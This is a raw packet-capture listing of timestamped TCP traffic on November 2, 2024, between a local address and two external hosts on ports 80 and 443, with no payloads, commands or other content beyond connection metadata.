Nov 2, 2024 07:16:11.988864899 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988876104 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988887072 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988897085 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988909006 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.988913059 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988924026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988933086 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.988936901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988948107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988970995 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988974094 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.988981009 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988996029 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.989017963 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.989018917 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.989028931 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.989062071 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.989088058 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.989097118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.989128113 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.055104017 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.055214882 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.055258989 CET	63811	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.055382967 CET	63811	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.055382967 CET	63811	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.055394888 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.055402994 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.057586908 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.057677031 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.057740927 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.057919025 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.057966948 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.063926935 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.063949108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.063961029 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.063971043 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.063977003 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.063988924 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.063998938 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064011097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064021111 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064032078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064038992 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064042091 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064058065 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064074039 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064074993 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064089060 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064095974 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064099073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064105034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064116001 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064116955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064129114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064138889 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064141035 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064150095 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064160109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064171076 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064171076 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064181089 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064182997 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064192057 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064202070 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064203024 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064213991 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064220905 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064229965 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064241886 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064243078 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064251900 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064264059 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064275026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064275980 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064284086 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064306021 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064342976 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064445019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064454079 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064465046 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064476013 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064487934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064492941 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064518929 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064526081 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064543009 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064599037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064610004 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064626932 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064639091 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064644098 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064649105 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064661980 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064662933 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064672947 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064690113 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064714909 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064799070 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064846992 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064857960 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064888954 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064901114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064912081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064922094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064944983 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064956903 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.064980984 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.064992905 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065002918 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065017939 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065021992 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065063000 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065088987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065099955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065110922 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065124035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065133095 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065141916 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065152884 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065157890 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065162897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065175056 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065191984 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065192938 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065201998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065205097 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065212965 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065223932 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065233946 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065242052 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065253019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065263987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065265894 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065274954 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065284967 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065308094 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065592051 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065655947 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065668106 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065692902 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065768957 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065805912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065815926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065824986 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065854073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065871000 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065885067 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065890074 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065896034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065907955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.065924883 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.065944910 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.066032887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066051006 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066063881 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066087961 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.066116095 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.066127062 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066138983 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066149950 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066160917 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066170931 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066184044 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.066214085 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.066510916 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066556931 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.066612959 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066720009 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066762924 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.066793919 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066935062 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066946983 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.066973925 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067039013 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067049980 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067081928 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067121983 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067131996 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067143917 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067154884 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067163944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067174911 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067182064 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067202091 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067373037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067384005 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067395926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067406893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067418098 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067420006 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067429066 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067440987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067450047 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067451000 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067461967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067471981 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067472935 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067482948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067490101 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067493916 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067512035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067518950 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067523003 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067533970 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067545891 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067548037 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067555904 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067565918 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067567110 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067586899 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067598104 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067605972 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067606926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067617893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067629099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067634106 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067641020 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067651033 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067651987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067662954 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067672968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067683935 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067687035 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067694902 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067706108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067713976 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067717075 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067730904 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067730904 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067743063 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067749023 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067754030 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067764997 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.067769051 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.067797899 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.104926109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.104944944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.104954004 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.104999065 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.105014086 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.105025053 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.105040073 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.105071068 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110445023 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110455990 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110481024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110491037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110502005 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110507965 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110518932 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110524893 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110527992 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110538006 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110549927 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110557079 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110559940 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110570908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110575914 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110593081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110605001 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110605001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110615015 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110625982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110630989 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110636950 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110651016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110658884 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110661983 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110673904 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.110687017 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.110706091 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.158584118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.158638954 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.158695936 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.158695936 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.158709049 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.158744097 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185235023 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185245037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185250044 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185254097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185261011 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185266018 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185312986 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185317993 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185349941 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185359001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185409069 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185420036 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185432911 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185444117 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185457945 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185470104 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185481071 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185516119 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185527086 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185537100 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185537100 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185537100 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185537100 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185537100 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185539961 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185558081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185565948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185600996 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185652971 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185662985 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185672998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.185745955 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185745955 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185745955 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185745955 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.185745955 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186001062 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186012030 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186021090 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186048031 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186059952 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186070919 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186081886 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186094046 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186105967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186105967 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186130047 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186135054 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186152935 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186321974 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186331987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186343908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186367989 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186393023 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186398029 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186403990 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186414003 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186424971 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186440945 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186443090 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186451912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186463118 CET	80	63806	208.109.77.116	192.168.2.4
